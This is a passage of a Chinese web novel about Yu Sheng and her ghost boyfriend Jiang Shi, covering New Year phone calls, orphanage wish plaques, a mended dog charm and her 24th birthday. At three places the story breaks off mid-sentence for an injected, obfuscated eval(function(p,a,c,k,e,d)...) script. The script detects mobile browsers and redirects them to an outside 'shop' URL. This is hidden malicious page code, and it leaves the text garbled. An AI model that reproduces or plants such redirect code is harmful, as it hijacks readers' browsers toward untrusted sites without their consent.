今天是她这段时间起得最早的一次,此刻未过晌午,已经开始犯困,去接个电话清醒一下也好。 喻声连打了三四个呵欠后到阳台吹风,靠着栏杆滑动手机,才在通话记录里看到了舒云繁的名字。 果然。 连带着的还有几条消息。 舒云繁:「你在干嘛呀。」 舒云繁:「理理我理理我。」 舒云繁:「你在棉城是不是有其他狗了!」 舒云繁:「……被我猜中了是不是!」 喻声先没理消息,笑着拨了电话回去。 虽然确实还有点困,但吹完风后好了很多,她清醒着,做了个决定。 电话才嘟了两声,那边就接起,背景音吵吵嚷嚷的,舒云繁的声音混在其中更显清脆明亮:“声声!” “舒舒。”喻声笑着说道,“除夕快乐。” “除夕快乐!”那边一阵脚步声后,吵嚷声褪去,舒云繁才重新说话,“我刚给你打了好几个电话,你在忙什么呢?怎么现在才接。” “我奶奶准备年夜饭,我打下手。”喻声问她,“你这么急找我是有什么事吗?” “没什么事,我家来了一堆亲戚,好尴尬,我只能低头玩手机假装很忙,给你打电话正好找个理由逃离战场。”舒云繁悄悄接了后半句,“放我哥一个人独自面对好了。” 喻声被她逗得笑出声来:“那你一会儿替我跟你哥说句除夕快乐。” “那也行——”舒云繁突然一顿,“他也出来了,不然你自己跟他说吧?” 而后,喻声听到了一道模糊的声音,由远及近。 “是喻声吗?” 舒云繁:“嗯。” “……也好。”喻声说,“那你把电话给他吧。” 那头是一段细碎的杂音,听不太清是在干什么,喻声在等待中稍微放空,抬头看向窗外。 头顶太阳高悬,地上积雪融化,未来一周的天气预报都挂上好天气的标志,川流不息的路边,树依旧光秃秃的,但好在阳台种的花草生机盎然。 连带着她多日紧绷的情绪都有所缓解。 她的思绪被舒云霁的声音抓回:“喻声,除夕快乐。” 喻声笑了笑:“你也是,除夕快乐。” 舒云霁问:“最近还好吗?” “挺好的,棉城的生活节奏要比东宜慢一些,不知不觉就放松下来了。”喻声说,“辛苦你又要值班又帮我去福利院看福珠了。” “说什么帮?能多去看看福珠我也高兴。”舒云霁温声道,“就是福珠挺想你的,一直问我你什么时候回东宜。” 喻声想了想:“年后几天吧,到时候给你、舒舒和福珠都带点棉城特产。” 舒云霁笑起来:“那我就不客气了。” 他又问:“需要我到时候开车接你吗?” 喻声连连摇头,才想起来他看不到,忙道:“不麻烦你了,我还约了人,机场离公寓也近,我直接打车回去就好。” “也好。”舒云霁明显一顿,再次开口时仍是温和语气,“等你回来,一定找时间再聚。” 喻声笑,手臂随意搭在栏杆上,手腕处戴着的佛珠碰出脆响,她低头:“嗯,可千万别让舒舒点菜了。” 舒云霁低笑:“那好。” 他欲言又止,接连几声气音,最后还是堪堪止住,说:“小繁回来了,你和她聊吧,我就不打扰你们了。” 话点到为止,对面顺畅地换了人。 舒云繁问:“我刚去倒了杯橙汁没听,你和我哥都聊什么了?” 喻声眉眼一弯:“说了回东宜给你带棉城特产,到时候临走前给你列张清单,你看看什么喜欢吃什么不喜欢吃什么,喜欢吃的就多给你带点。” “好啊好啊。”舒云繁语气中都透露着雀跃,“你快点回东宜来吧。” 喻声调转了身,背靠栏杆,看着春华女士在厨房忙碌的身影。 见喻声沉默,舒云繁问:“听得到吗?怎么不说话啦?” “舒舒。”厨房门被分成三块,上下两块是玻璃,中间是一整块不透明贴纸,喻声蹲下来,从她的视线望去,贴纸刚好遮住春华女士的上半身,她深呼吸,说道,“我有男朋友了。” 对面是一连串剧烈的咳嗽声。 舒云繁惊魂未定:“……你说什么?” 喻声下巴搁在膝盖上,手指无意识地抠着阳台地板,重复了一遍:“我有男朋友了。” “……我果然没说错吧!”舒云繁笃定地说,“你就是在棉城有其他的狗了!” “说什么呢。”喻声笑,想了想后隐去细枝末节,只说大概,“在东宜认识的,只是一直没想好怎么怎么跟你说。” 舒云繁:“谁啊?我认识吗?” 虽然在舒云繁第一天搬进公寓的时候就见过,但—— “不认识。”喻声说,“以后有机会,再介绍你们认识吧。” “这话怎么听着这么耳熟?”舒云繁咂巴咂巴嘴,突然福至心灵,问道,“我们还在临山的时候,你跟我说过一样的话吧?” 喻声呼吸一滞,手上动作逐渐停下。 “所以是同一个人吗?”舒云繁好奇。 喻声:“是他。” 一直都是他。 原来她这么早的时候,就想把江时介绍给朋友了。 她一直都很清醒。 清醒地喜欢他。 清醒地,做下就算终有一天会分 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17017583|184024||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 开,她也不想在此刻放下的决定。 她想抱他,想吻他,想在需要放下的时候勇敢抓紧他,想和时间赛跑,想和他一起做很多做过的喜欢的、以及还没来得及做的事。 想痛痛快快、想不管不顾,和他相爱。 有多少个想,就有多少个相心。 她的心脏从小到大欺骗了她很多次,可因为江时,她愿意再信它一次,信它此刻跳动,只为他。 或许春华女士说得对,等分开那天真的来临,她会更加不舍,会抱憾终身。 也有可能,会后悔此刻的决定。 但她想在有限的时间里更贪心一点。 她从小就不被允许任性,她要听话、要懂事、要原谅。这是第一次,她想试试另一种活法。 喻声偏了偏头,有几条头发不听话地被风吹到眼前,她看到了,是金色的。 被阳光照着,是金色的。 很漂亮,很鲜活。 喻声想,无论如何,至少不会比现在就要和他分开更糟了。 “声声,我能感觉到,你提到他的时候很幸福。”舒云繁笑着说,“你幸福,这就够了。” 喻声嘴角向上:“谢谢你。” 但舒云繁说完祝福后,又叹气附一句:“那我哥烦我的时候能跟他说吗?你有男朋友的事。” 喻声再次接到舒云霁的电话时,她已经在东宜机场的A出口。 他停顿了有两分钟,而后在喻声想开口询问前轻轻问,透出无尽的难过。 “喻声,我是真的没有机会了吗?” 喻声站住,只一眼,她就能看到笑着朝她挥手,逆着流动的人群向她快步走来的江时。 临挂电话前,喻声回答:“只能是他。” 你很好,但只能是他。 只能是他,在除夕夜当晚卡着十二点三分,和他们在一起的日子一样的时间点打电话来,在烟花声中,说新年快乐。 喻声说:“我还保存着你在临山给我拍的那些烟花照片。” “等你回来,我们一起去放烟花,好不好?”江时声音闷闷,“我好想你。” 喻声靠在床头,抬手摩挲着有他在的那几张拍立得,说道:“我也很想你,除了放烟花以外,我还有好多事情想跟你一起做,等我回去,陪我一起做吧?” “好。”江时迟迟才说,“我等你。” 喻声听出他语气沉闷,不免想逗他:“不会是想我想到快哭了吧?” 谁承想江时倒是听这话笑了起来:“嗯,要哭给你听吗?” 喻声好半天才回答,颇带嫌弃意味:“……讨来的我才不要。” 她问他是不是快哭了,挂断电话时,却比他要先落泪。 一如现在。 看着他走过来,走得急,风衣外套大敞随风往后飘,额前碎发遮不住满眼笑意,在看到他真实地在她面前笑时,却想落泪。 等到江时彻底在她面前站定,喻声再也忍不住,放开行李箱,衣服褶皱卡进衣服褶皱,用力地、彻底地环抱住他。 江时愣在当场,反应迟钝,好半天才抬手,安抚般的顺了顺喻声的头发。 “一回来就这么粘我啊。”他垂眼笑道,“不是说在外面不可以有亲昵的动作吗?” 喻声摇头,看起来更像蹭了蹭他胸前的衣服。 “好想你。” 江时嗯了一声,把藏在喉咙里很久的那句“好想你”换成另外好久没说过的三个字。 “好爱你。” 44. 101岁 从棉城带回来的特产有很大的一部分被喻声搬到了舒云繁家,包括要给舒云霁的那部分,也全都拜托她帮忙转交。 舒云繁捕捉到她的不自在,也没问,干脆利落地说了行。 虽然不至于从此没了交集,但除夕说好的回来再聚也渐渐沉寂,默契地没人提起。 成年人把学会坦然和学会保留当成必修课。 秦淑含的电话来得凑巧,听说喻声已经回东宜了,就说之前挂树上的祈福牌子有些挂不牢,风一吹就会掉下来,怕砸到小孩子,所以索性全部取了回来。 她问喻声想不想把福牌拿回去,权当留念,如果想要的话,可以来福利院找找看,只不过数量有点多,可能会有点难找。 喻声想着特产也要择日给秦淑含和福珠送过去,回东宜后一直忙着处理手头工作,还没来得及去看看福珠,正好可以趁这个时候去一趟。 于是去探店吃冰火菠萝油的计划往后挪了挪,打完电话的隔天傍晚就去了福利院,顺便完成每日一散步的kpi。 江时被福珠缠住讲故事,喻声摸了摸福珠的脸颊,起身独自去了储物间。 福牌的数量何止有点多。 有门抵着尚且还安稳地待在门口的桌子上,喻声伸手往门后摸索开灯,将门往合上的方向旋了位置,侧边的福牌一没了支撑,就噼里啪啦地往下掉,如碎石滚下山崖。 秦淑含说,她给有留下联系方式的、往树上扔过福牌的人都打了电话,问要不要将福牌带走。 有人说心愿已成,来不来拿都无妨;有人说心愿未成,诚心无用,干脆不来拿了;有人没接电话,前前后后也只来过福利院那一次。 喻声成为第一个,也有可能是唯一一个来领走心愿的人。 她蹲下,一块一块捡起地上的福牌。 像回到了跨年夜的时候。 当时一闭眼,四面八方涌过来许愿的声音,周围嘈杂,她在中心平静,听着别人的愿望,许下自己的愿望。 于是此刻,她的愿望暂且找不到,不如先听听别人的愿望。 「希望找工作顺利。」 「前途似锦,关关难过关关过。」 「希望家人身体健康。」 「财星高照财星高照。」 「什么时候能到世界末日?」 「希望在这里的所有小朋友都能平平安安、健健康康,早日找到能领养和疼爱自己的家庭。」 「我要再gap一万年!」 …… 看到最后一条,喻声笑出声来。 她把捡起来的所有福牌都对齐叠好,刚想起身,余光瞥到有一块滚落到桌子和墙边的缝隙里。 喻声扶住门,伸手努力去够,肩膀不慎撞到桌脚,有一块福牌滑落,砸到她脑袋上。 很疼。 几乎快沁出生理性眼泪。 稍微直起身后,喻声手心朝上,张开。 上面写着: 「放下、喻声如愿。」 很熟悉的字迹。 刚才硬生生憋住的眼泪彻底流下。 喻声知道,放下对江时来说是希望。 可偏偏,这两个字对她来说是谶语。 它在山顶等着她,待她去触碰就压着碎石滚下,上帝不会伸出手拉她一把,她无处可逃,只能眼睁睁看着碎石砸到她脑袋上,然后让泛着痛的泪水倾泻。 一只手伸进喻声模糊的视线里。 她抬眼,江时在她面前单膝下跪,屈身向前。 他比她要更无措,想拉她一把的那只手慢慢扶住她侧脸,另一只手往前伸替她撵走眼泪,指尖往上,小心翼翼地揉了揉她紧锁着的眉心。 明明此刻,他自己的眉间锁得更紧。 “怎么突然哭了?”江时问。 喻声撑着他手臂站起来,深呼吸后扯出点笑,说:“就是看到你写的那句喻声如愿,很感动。” “这算什么?”江时松了一口气,又说道,“我有一辈子的时间来让喻声如愿。” “我们不谈这么长以后的事情。”喻声看着他,“就珍惜当下好不好?” “当然好。”江时笑,“那在当下,想让喻声如愿的话,我应该做点什么呢?” “我带了拍立得。”喻声说,“我们拍张照吧,在大家的愿望前拍。” 江时点头,笑着继续给她擦眼泪,语气中藏着打趣:“那你还哭?真不怕一会儿拍照我把你比下去了?” “我的福牌上写着我很漂亮。”喻声闭眼平复情绪,又睁眼笑着看他,“你在质疑我的愿望?” “哪敢,你最漂亮。” 江时这么说,拍完拍立得盯着它显形后又重复了一遍:“你最漂亮。” 他举起拍立得贴着鼻尖翻转,要给喻声看。 拍立得很小,遮得住鼻子和嘴巴,遮不住亮亮的、带着笑意的眼睛。 拍立得又很大,能放得下两个人,能框得住盈盈满满的爱。 盈盈满满的爱,只一个江时而已。 喻声抬手,指尖蹭了蹭拍立得上的他。 这张又要比前三张更清晰的一点,他的轮廓严丝合缝地贴着她,用他的手比较长适合举相机为借□□换一个从后往前的环抱。 桌子另一侧放着写愿望牌用的签字笔,被四处环顾的江时捕捉。 他撑着桌子,右手动作迅速勾勒,盖好笔盖后再次举起拍立得给喻声看。 锁骨往下,偏左的地方,他将一个歪歪扭扭的心脏悬在那里。 “鬼没有的心脏。”江时说,“谢谢你给我。” 喻声偏头,好半晌才一句:“……别害我。” 她没再像刚才那样伸手去摸。 但她知道,那颗心脏一定是滚烫的。 “害你什么?” “害我又要哭。” “那给你新的补偿。”江时眉间舒展开,让喻声收好拍立得后又说,“时间还早,我们去吃冰火菠萝油吧。” 喻声点点头,牵着他就要出储物间,反被拉住。 “你那张愿望牌呢?”江时问。 福利院设有钟楼,有整点报时的钟,江时话音刚落,钟声就敲响,喻声屏息细数,一共五下,敲完第五下后,四周寂静,再无余音。 敲完后,今天这个时辰就回不去了,等下一个五下钟声,要等很久,时钟年久失修,她总要离开这里,总要回到别的地方去,也不知道等不等得到了。 她来了这么多次,就听过这么一次。 听过一次,虽仍觉不圆满,但也不遗憾了。 总要向前看。 喻声定了定,转身看他,才笑着回答。 “不找了。” - 六月冲破薄薄的日历纸降临。 东宜入冬很慢,入夏很快,一迈过了冬天基本上没有春天作为过渡期直接直线升温,到了真正的夏天,更是热得地面翻波浪,踩一脚要跳三跳。 喻声和江时也渐渐减少白天出门了,舒云繁必须去超市上班没办法,不过豆乳没有上班的义务,怕它中暑,就让它老老实实跟喻声待在家里,下午过了五六点去散步时再带它去遛弯。 跟鬼谈恋爱的好处之一就是,一入夏拥抱就跟抱着冰块似的,不用开空调也能感受到丝丝凉意。 不过喻声不开空调的原因也不只是因为这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17031616|184024||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个。 五六月以来她贪凉,空调都开低了好几度,频繁去了医院几次,虽然避着江时去的,但事后吃药时还是被他发现了,一问原因后空调遥控器被严格控制,作为交换,他让渡怀抱。 他说得好像很勉强,眼睛一眨,嘴角倒是翘得挺高。 喻声不入套:“……我突然觉得不太热了。” “你热。”江时斩钉截铁地张开双臂,催促道,“快来。” 喻声挑眉,起了坏心,一走上前,手就从他抬手时隐隐露出的腰腹衣摆处溜进去挠了他一把,江时躲闪不及,往后一缩腰,憋住笑意,下巴抵住她肩膀,张开的手臂收拢,圈住她的腰的手放肆往里伸,报复了回来。 喻声也怕痒,笑着连连后退被推到了沙发上,她想挣脱,脚开始乱蹬,压着她的人逮住好机会怎么会放过,他埋头在她的颈窝处,将她的双腿锢在自己的两腿之间,手流连辗转,挑起敏感后尽数收入囊中。 累得喻声气喘吁吁。 江时亲亲她眼皮,不忘问:“还热吗?” “……我冷。”喻声下意识闭眼,踢踢他,“你先起来。” 江时握住她的脚踝调整好姿势,又问:“我现在倒是挺热,要不再抱抱我?” “少来。”喻声被逗笑,睁开眼,“现在家里热的只有还穿着一身毛的豆乳好不好。” 沙发底下,适时传来“汪——”的一声。 江时撑起身,随意往地上一瞥。 紧接着,脚搭着地毯在这里休闲地安营扎寨的豆乳被连根拔起。 江时从它嘴里抢着什么,喻声还是第一次看他被气得挂脸,定睛一看,是那个在圣诞集市上买的小狗挂饰,一直被好好地挂在床头,也不知道豆乳是怎么叼到这里来的。 “它马上就不热了。”江时蹲下来,心疼地摸摸小狗挂饰被咬出个口子的耳朵,咬着牙说,“……我一会儿就去帮它把毛全剃了。” “……你别吓唬它。” 喻声盘腿坐起身,找到掉落的发绳,将散乱的头发随意扎起后双手拍了拍,被放下的豆乳熟稔地跳到她怀里,“它也不懂这些,下次就不会了。” 豆乳仰头,顶着潦草的毛,发出了呼噜呼噜声。 “还有下次!”江时抬头,眼底的震惊藏不住,“你还抱它!” “它是小狗还是你是小狗啊?”喻声摸了摸他的头,手上嘴上全在顺毛,“你不是有修复功能吗?可以像修复盆栽一样把它修复好吗?” 江时闷闷不乐:“我不能局部修复,修复后它就会变成全新的。” 喻声不明所以:“全新的不好吗?” “可是这样的话,就没有我和你的那些记忆了。”江时按着手中小狗的耳朵,掩耳盗铃后悄悄撤走指尖,被没有压力就弹开露出裂缝的耳朵中伤到,“……它的四叶草被我天天压得有点弯,你看电影的时候会习惯捏它的耳朵,导致它的耳朵一个惯性朝前一个惯性朝后,它嘴巴那条线断在洗床单时不小心卷着它一起扔进洗衣机后,你捏着那条线愧疚地蹲在洗衣机旁边很久。” 他慢慢仰头说话:“这些是我想留存很久的记忆。” “我知道。”喻声替他压着小狗耳朵,说道,“但事情已经发生了,你把豆乳的毛全剃光也无济于事啊。它做小狗也不容易,没人教它这些。” 喻声放开一只小狗,举起另一只小狗的爪子:“它发誓,这种事情绝对不会再发生了!” 豆乳很给面子地“汪”了一下。 江时忍俊不禁。 有人尽全力哄他,也不是不可以。 喻声做了决定:“我给你买针线吧?你帮它把耳朵缝起来就好了。” 45. 101岁 ——把耳朵缝起来当然可以,缝得那么丑就不太好了。 家里没有工具,喻声点了个针线盒的外卖,本想帮他缝上,江时却让她安心坐着,自己坐在地上,照着教程笨拙地一步一步开始缝。 喻声支着脑袋,顺着豆乳的毛把它哄睡成功,她低头,见江时一时半会儿没法缝好,索性从沙发缝里摸出遥控器开了部电影,调到最小音量就看了起来。 电影将俗套的绑架情节渲染出恐怖片的氛围,昏暗的房间、摇晃的吊灯、脏污墙壁上爬行的蜘蛛和不知道从哪里淹上来的暗红色的水。 喻声深吸一口气,决定先避开这个加重心理负担的片段,一低头,被蓦然冲到眼前的狰狞小狗吓到差点把豆乳给扔出去砸了电视。 而后,她默默地理清了两点。 第一,能认出这还是只小狗纯粹是因为她见过它重生前的模样。 第二,和江时住在一起后再没被鬼吓过原来是憋了个大招在这里等着她呢。 “你觉得怎么样?”他问。 “……还好?”喻声答。 江时倒是没察觉出喻声的面露难色,收回后小狗左看右看,语气苦恼:“为什么别人缝完就看不到线了,我缝完后一圈线全缠在外面了?” 喻声看了眼他在跟着的教程,煞有其事地点点头:“至少比起别人的,你的努力我都看得见。” “……”江时后知后觉,起身坐上沙发遮住后面还在播放的电影,笑意加深,抬起手就要来捏她的脸,“你逗我是吧!” 喻声笑着从他抬起的手下钻进了他的怀里,躲开他要停留在她脸颊上的手,于是那只手撩起她耳边没扎起来的、垂下的头发,稳稳地停留在她的后脑勺。 攥紧他的衣摆,喻声抬脸看他,抿唇吞下笑意后把指责调转方向:“你这是误解我。” 江时低眼看喻声,顺势往下,目光轻飘飘落在她怀里的豆乳身上,说道:“你就是觉得我的小狗比豆乳丑。” 以前倒是没有这么觉得。 喻声心想。 她使出杀手锏,亲亲他的嘴角:“你不也觉得豆乳很可爱吗?” “很可爱。”江时被亲得控制不住自己的嘴角,清咳了两声才说,“但没有我的小狗可爱。” “为什么?” 江时盯着喻声笑了一会儿,按着她的后脑勺的力度加重,亲了回来,口齿含糊间喻声听见他的呢喃—— “因为是我的。” 嗯。 是你的。 喻声笑,闭上眼睛,前臂交叠,环住他的脖子,静静地享受这个柔软的吻。 也是这么近的距离,她才得以闻到他们身上共同的味道。 和小狗挂饰一样的味道。 在接吻中换气是在一次又一次的实践过程里学会的,学会后又钟爱深呼吸,直到鼻腔盈满了熟悉的味道才肯罢休。 像是一种接吻时的雏鸟情结。 电影还在播放着,恐怖的片段大概已经过去,但喻声也不想看了。 倒是怀里的豆乳醒了,不安分地在她怀里拱来拱去。 在下一个吻来临之际,喻声用指尖代替嘴唇去承接,她稍微往后仰,低头去看豆乳。 豆乳眼睛滴溜溜直转,乌润润的,最后和江时对视上,它的爪子一搭一搭,拍上江时的膝盖。 喻声忍笑学着豆乳拍了拍江时,他叹了口气,认命起身,去取了它的碗和罐头回来。 和以往的每个时刻一样。 喻声靠着沙发背,看着他的身影,扬起嘴角。 江时一起身,后面的电影内容重新出现在喻声的视野中。 和她想象的不同,恐怖的片段尚且没有过去,女主人公仍处于危险之中。 这部电影很出名,这些恐怖的、能体现演员演技的切片在视频平台爆火,但喻声想,如果电影是由她拍摄的话,一定更钟爱那种日常的镜头。 那种明明渗透进生活里变得和吃饭喝水一样稀松平常,却一定会在失去时难过无比,埋怨自己未能留住也没有珍惜的镜头。 她会把这种镜头变慢拉长,让它在整部电影里占的比重更大一些,即使最后电影不为人所知道,那也没关系。 她会一遍一遍看,票房由她一个人贡献就好。 江时不是只带豆乳的饭回来,还拎了一袋喻声的中药。 喻声很快接过,先是闻了闻,而后迅速拿开,瓶口三过嘴而不入。 看着豆乳在地毯上大快朵颐,江时满意地重新坐回沙发,又因喻声这一套假动作莞尔。 “有这么苦吗?”江时问,“又不是第一次喝了。” 喻声皱着脸:“你试试就知道了。” “你先喝。”他递过来一颗撕开包装的薄荷糖,说道,“喝完了送你个礼物。” 好奇有时候真的能害死猫。 喻声苦哈哈地捏着已经空了的中药和薄荷糖包装,伸手向江时讨要礼物。 江时笑,点点头,把喻声的手机轻轻放到她的掌心,拿过她手里的包装袋往厨房的垃圾桶走。 “你自己看。”他扔下一句。 手机原本放在卧室里充电,估计是他去床头挂小狗挂饰时顺手拿出来的。 手机一举起来识别到喻声的脸就自动亮起屏幕解锁,银行卡信息跳出来,跃至喻声眼前。 喻声一惊,从后往前数那个醒目的数字的位数。 个、十、百、千、万、十万—— ——百万身家拱手奉上的人扔完垃圾悠闲地回来了。 ……和江时住在一起后再没被鬼吓过原来是憋了第二个大招在这里等着她呢。 喻声滑动屏幕,找到短信举到他面前问道:“这个是礼物?” “这个是礼物。” 江时凑过来,离她很近,重复了一遍她的话,“我近几个月赚到的,一直在找机会给你。” 喻声摇摇头:“我不需要。” “可是我怎么依稀记得,有人曾经很拼命工作,在我问她缺不缺钱的时候,说过她很需要钱?”江时笑说,“还在爱情和面包里,毅然决然地选择了面包呢?” “我需要的是我自己赚的钱。”喻声哭笑不得地低头又确认了一遍自己银行卡余额上的数字,“而且你给我这么多,我也花不完啊。” “本来我也是因为你才有了去赚钱的想法的,人都花不完的话,鬼更不可能花得完了。”江时说,“你需要钱,而我刚好有;我需要的爱,只有你能给我。” 他扬扬眉,表情和以往每次发现一个人只吃蛋黄一个人只吃蛋白、一个人更喜欢鸡腿一个人更喜欢鸡翅一样,说出来的话像在炫耀他们有多合拍。 江时补充道:“就当作你23岁快结束的礼物好了。” 他垂下脑袋,那种怕被拒绝的表情,和刚从洗衣机里拿出来,嘴唇的线断掉耷拉下来的小狗挂饰如出一辙。 豆乳吃完食物,跳上沙发,狗爪高高扬起,又轻轻落下,这次降落地点是喻声的手机。 喻声笑,算是答应了他:“那我得到的也太多了。” 这哪里是鬼,明明是财神。 “什么?” “爱情和面包我都有了。”喻声打着好像不太恰当的比喻,“两个鸡蛋的话,相当于我吃了两个蛋白和一个蛋黄。” “是不是傻。”江时笑着开口,“只要你想,一整对鸡翅都是你的。” 不太恰当也没关系。 喻声想。 他总会听得懂。 她又问:“真不给自己留一点吗?” 江时没转过弯来:“……你说鸡翅?” 喻声笑他才是傻瓜:“我说转账。” “有留的。” 江时嘴角扬起,摸了摸豆乳的脑袋,和它一笑泯恩仇,“还要准备你的24岁礼物。” 24岁和23岁界限模糊,跨越时不像20岁生日那样来得期待,也不像30岁生日那样来得紧张,喻声好像上一秒抬眼还在和江时讨论转账的事情,下一秒低头,手机就跳出了舒云繁的祝贺信息。 舒云繁:「声声!生日快乐!」 收到信息的时候喻声刚好抵达超市,她在收银台侧面的玻璃墙外站定,笑着抬手敲了敲玻璃,在舒云繁望过来瞬间欣喜的眼神中推开门走了进去。 “你怎么来得这么早?” 舒云繁在收银台前张开双臂摇晃催促喻声走快点。 “想你了。” 喻声笑着从翻板下钻进去,扔下花就抱住了她,好一会儿才松开,“早点过来陪你看会店。” “对我真好。”都站起来了,舒云繁顺势抻了抻肩骨,到另一边搬了个新凳子过来,“中午必须请你吃大餐。” “我请你吃也行。” 喻声随意回答,手上不停,把带来的花拆开插进瓶子里。 “那可不行,今年年头我生日已经蹭过你一顿大餐了,说什么我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17060932|184024||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都必须请回来。”舒云繁晃晃脑袋,“而且我收到经费了,今天你敞开吃,我买单。” 喻声一顿,偏头看她:“什么经费?” 舒云繁头往后仰,眨眼说:“就……我爸我妈给我涨工资了。” 喻声不疑有他,弯了弯眼睛点头说听她的。 早上没什么客人,聊聊天就过去了,中午吃饭选了家泰国菜,早上没聊完的天就这么延续下去,居然把午餐硬生生吃成了下午茶,最后双双晕碳,一起互相搀扶着出了餐厅,趴在桥边的栏杆上把没聊完的话聊完。 喻声和江时想什么时候约会都可以,她把生日当天分成两半,让舒云繁任选有空的时间段,舒云繁选了中午,就是因为她现在一直在苦恼的晚上的高中同学会。 “我也不是不想去。”舒云繁说,“但大家都是一起这么长大的,我成绩还名列前茅呢,可是现在该实现梦想的实现梦想了,该结婚生子的也结婚生子了,最后只有我掉队,一直在东宜打转,别说市了,我连区都没怎么出过,一毕业就在自家超市打工。” 她喝了口矿泉水,清了清嗓子又说道:“还记得当时刚搬进公寓的时候,我跟你说我是鬼屋密室爱好者吗?才过了多久啊,就感觉自己热情耗没了,对这些都没兴趣了,每天就想着怎么麻木上班,怎么快点下班回家睡觉,我的人生好像停滞不前,一眼就将它望到头了。” 身后是疾驰的车,下面是平静无波的江流,夹在两者之间的,是小小的她们。 喻声想,或许23岁和24岁的界限如此模糊是因为正站在人生的十字路口,一切靠摸索,渴望却能力不足,条条道路通罗马却一步踏错步步错。 江流表面平静,深处却汹涌,她们上了桥,就要一直走下去,走到头,这么多车,没有一辆能停下来载她们走。 “除了记得你说你是鬼屋密室爱好者,我还记得你对我说,存下钱和自由,是可以兼得的。可这两项对很多人来说,是不可得的,至少对于结婚生子的那一类人来说,他们想要自由,并不容易。”喻声说,“虽然昨天过去后我们俩的23岁都回不去了,我也知道你会站在24岁去遗憾23岁,但24岁会有新的钱,会有新的自由,也许还没准备好,可从现在去看还没开始经历的24岁,每一分每一秒都在得到。” “你说别人都有目标而你掉队,可我知道毕业之后你想留学未果但直到今天还在坚持看美剧、看《犯罪心理》的时候不开字幕纯啃生肉;你说热情耗没了,对生活没乐趣了,叫我记得带花去店里的是谁?我插花的时候手忙脚乱的,不也得靠你才行?最最重要的是,忘记我说过你很勇敢了吗?只要你想,海阔凭鱼跃,天高任鸟飞,虽然我们要走很远的路才能下桥,但总会走到的,大不了劫一辆车带我们走,就是过程比较狼狈而已。” 喻声往后一指车流,成功把舒云繁逗笑。 她也跟着笑,又说:“你在东宜的人生不叫停滞不前,顶多算度过一个比较悠闲的假期。想不想要假期结束对于刚24岁的你来说太轻松了,你会有很多选择,去留学,我支持你;去找新的工作,我支持你;休息一段时间,我支持你;维持现状,我也支持你。” “你怎么什么都支持我?” “那当然。”喻声半开玩笑,“你现在去劫持一辆车我也支持你,不过警察局就得你自己去了。” 舒云繁转身靠在栏杆上,突然说:“我还真得劫持一辆车。” 喻声:“……嗯?” “我同学会快迟到了,不得赶紧劫持一辆出租车带我走啊。”舒云繁笑着从包里掏出一个包装精美的盒子递给喻声,随即晃晃自己手上的手链,“生日礼物,忘记给你了,我们是闺蜜同款。” “请我吃饭还不够啊?” “那是另有其人给你的生日礼物。”舒云繁笑眯眯,“而且一顿饭怎么够?我到时候申请到学校去留学了,得留东西让你睹物思人啊。” 喻声笑弯了眼:“你决定了就好。” 舒云繁除了勇敢,还是个目标明确,做出选择就会一直坚持、极致投入的人。 她说搬来公寓方便她练吉他,就真的一天都没落下过,圣诞节买的热红酒很对她的胃口,一下定决心要学怎么做,立刻就把材料买了自己反复做反复修改出最喜欢的配方。 她说做好决定了,只要她说,喻声就会信。 “我决定了!”舒云繁伸手来牵喻声,“出租车来得还是太慢了,我们往前跑吧。” 46. 101岁 下了桥后,喻声和舒云繁分开,她就近上了辆公交车,喻声则走回家去。 最近感冒一直没好,和舒云繁胡闹一段路后喻声就跑不动了,胸口处传来的隐隐作痛让她慢了下来。此刻临近黄昏,正好边走边看风景。 她回头望去,太阳快要降落在桥上她们停留过的地方上,于是那块地方开始升温,连带着在那里说过的那些话,都开始变得热气腾腾。 好像所有不可能,所有差一点点都能随之蒸发消失。 如果这是真实存在的,不是想象或错觉就好了。 喻声蓦然想起,刚才跳上公交车后舒云繁站在车门口冲她挥挥手,而后,手拢成圆放在嘴边,朝她喊了最后一句话。 “声声,谢谢你!今天是我2020年最后一次为这些事情沮丧了!我会永远记住你那些话的!”笑意揉碎了填满话里的每一个字,她咧嘴大喊,“还有!生日快乐!” 喻声笑着点点头,还来不及说什么,车门就关上了,她边走边想掏出手机给舒云繁发条消息,往下一滑消息接受界面,手指一顿,轻轻地停在和舒云霁的聊天框上,又松开。 舒云繁说的那句“另有其人给你的生日礼物”,不用想也知道她指代的是谁。 说句谢谢是礼貌,但以她和舒云霁现在的关系—— 喻声深吸了一口气,最后还是做出了暂时当个没礼貌的人的决定。 突然有条消息跳出。 舒云霁:「喻声,生日快乐。」 喻声深吸的那口气差点卡住没呼出来。 她停下脚步,想了想回:「谢谢。」 喻声:「也谢谢你的礼物。」 